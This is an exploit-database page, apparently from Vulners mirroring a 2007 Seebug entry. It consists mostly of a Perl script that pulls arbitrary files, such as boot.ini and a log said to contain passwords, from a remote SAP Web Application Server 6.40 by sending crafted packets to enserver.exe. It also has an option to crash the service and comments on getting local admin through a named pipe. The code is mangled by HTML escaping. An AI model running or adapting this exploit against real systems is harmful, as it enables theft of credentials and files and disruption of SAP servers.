Lucene search
K

SAP Web Application Server 6.40 Arbitrary File Disclosure Exploit

🗓️ 09 Feb 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

SAP Web Application Server 6.40 File Disclosure Exploit for Arbitrary File Downloa

Code

                                                #!/usr/bin/perl -w

##
## SAP \\\'enserver.exe\\\' file downloader
## Tested on \\\"SAP Web Application Server Java 6.40\\\" (eval DVD)
## Found & coded by Nicob
##
## The downloaded file is limited to the first 32 kilobytes
## Usual port : TCP/3200+SYSNR
## Exemple : ./r3-stealer-1.0.pl 192.168.2.22 3201 \\\"c:\\\\boot.ini\\\"
##
## From MSDN (Win2K pre-SP4, WinXP pre-SP2 and WinNT) :
## \\\"\\\\\\\\your_box\\\\pipe\\\\your_pipe\\\" => get Local Admin (SAPServiceJ2E)
## http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/authorization_constants.asp
##
## File parameter :
##	C:\boot.ini
## 	\\\\10.11.12.13shareimage.jpg
##	............Documents and SettingsAll UsersApplication Datasapdbwahttpreq.log (contains passwords !)
##

# Init

use strict;
use IO::Socket;

my $verbose = 0;
# Set this to anything not null to crash the process
my $crash = \\\"\\\";

my $socket;
my $reply;

$|=1;

# Get arguments

if&nbsp;(($#ARGV<2)&nbsp;or&nbsp;($ARGV[0]&nbsp;eq&nbsp;\\\"-h\\\"))&nbsp;{die&nbsp;\\\"Usage:&nbsp;$0&nbsp;<ip>&nbsp;<port>&nbsp;<remote&nbsp;filename>&nbsp;(<local&nbsp;filename>)
\\\";}
my&nbsp;$host=$ARGV[0];&nbsp;
my&nbsp;$port=$ARGV[1];&nbsp;
my&nbsp;$filename=$ARGV[2];&nbsp;
my&nbsp;$output=$ARGV[3];&nbsp;

#&nbsp;Calculate&nbsp;variables

my&nbsp;$lg&nbsp;=&nbsp;length($filename);
my&nbsp;$tag1&nbsp;=&nbsp;sprintf(\\\'%x\\\',&nbsp;0x4F&nbsp;+&nbsp;$lg);
my&nbsp;$tag2&nbsp;=&nbsp;sprintf(\\\'%x\\\',&nbsp;0x20&nbsp;+&nbsp;$lg);

#&nbsp;Show&nbsp;banner

print&nbsp;\\\"#####################################################################
\\\";
print&nbsp;\\\"###&nbsp;SAP&nbsp;\\\'enserver.exe\\\'&nbsp;file&nbsp;downloader
\\\";
print&nbsp;\\\"###&nbsp;Downloading&nbsp;\\\'$filename\\\'&nbsp;from&nbsp;\\\'$host\\\'
\\\";
print&nbsp;\\\"#####################################################################

\\\";

#&nbsp;Define&nbsp;the&nbsp;packets

my&nbsp;$packet1&nbsp;=
	\\\"0000005dabcde123000000000000005d0000005d06010000000000060000000000040000000000010004000000000003\\\".	#&nbsp;Static
	\\\"5f6e69636f625f6e69636f625f6e69636f62315f\\\".								#&nbsp;ASCII&nbsp;string&nbsp;:&nbsp;\\\"_nicob_nicob_nicob1_\\\"&nbsp;
	\\\"00000000020000003b0000000500000002000000060000000400000001\\\";						#&nbsp;Static

my&nbsp;$packet2&nbsp;=
	\\\"000000\\\".&nbsp;$tag1.&nbsp;\\\"abcde12300000001000000\\\".&nbsp;$tag1&nbsp;.\\\"000000\\\".&nbsp;$tag1&nbsp;.
	\\\"03000000454e430001010000234541410100000013030000000000234541450001000000\\\".&nbsp;$tag2&nbsp;.
	\\\"0000000000007d00000000000000000000000000\\\".&nbsp;unpack(\\\"H*\\\",$filename)&nbsp;.&nbsp;$crash&nbsp;.\\\"000023454144\\\";		#&nbsp;Crash&nbsp;if&nbsp;bad&nbsp;filename&nbsp;length

#&nbsp;Create&nbsp;the&nbsp;socket

$socket&nbsp;=&nbsp;IO::Socket::INET->new(Proto=>\\\"tcp\\\",PeerAddr=>$host,PeerPort&nbsp;=>&nbsp;$port)
		||&nbsp;die&nbsp;\\\"Connection&nbsp;refused&nbsp;at&nbsp;[$host:$port]\\\";

#&nbsp;Send&nbsp;the&nbsp;two&nbsp;packet

print&nbsp;$socket&nbsp;pack(\\\"H*\\\",$packet1);
print&nbsp;$socket&nbsp;pack(\\\"H*\\\",$packet2);

sleep&nbsp;2;

#&nbsp;Read&nbsp;and&nbsp;display&nbsp;response

recv($socket,$reply,150000,MSG_PEEK);
if&nbsp;($reply&nbsp;=~&nbsp;/^(.*)#EAD(.*)$/s)&nbsp;{
	print&nbsp;\\\"File&nbsp;received&nbsp;!
\\\";
	if&nbsp;((!defined($output))&nbsp;or&nbsp;($output&nbsp;eq&nbsp;\\\"\\\"))&nbsp;{
		print&nbsp;\\\"
===========================================
\\\";
		print&nbsp;$2;
		print&nbsp;\\\"
===========================================
\\\";
	}&nbsp;else&nbsp;{
		open(OUT,&nbsp;\\\">&nbsp;$output\\\")&nbsp;||&nbsp;die&nbsp;\\\"Can\\\'t&nbsp;open&nbsp;$output&nbsp;($0)\\\";
		print&nbsp;\\\"File&nbsp;saved&nbsp;as&nbsp;\\\'$output\\\'
\\\";
		print&nbsp;OUT&nbsp;$2;
		close(OUT);
	}
}&nbsp;else&nbsp;{
	print&nbsp;\\\"Problem&nbsp;interpreting&nbsp;reply&nbsp;:-(
\\\";
}

#&nbsp;Close&nbsp;the&nbsp;socket

print&nbsp;\\\"
The&nbsp;end&nbsp;...
\\\";
close&nbsp;$socket;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Feb 2007 00:00Current
7.1High risk
Vulners AI Score7.1
21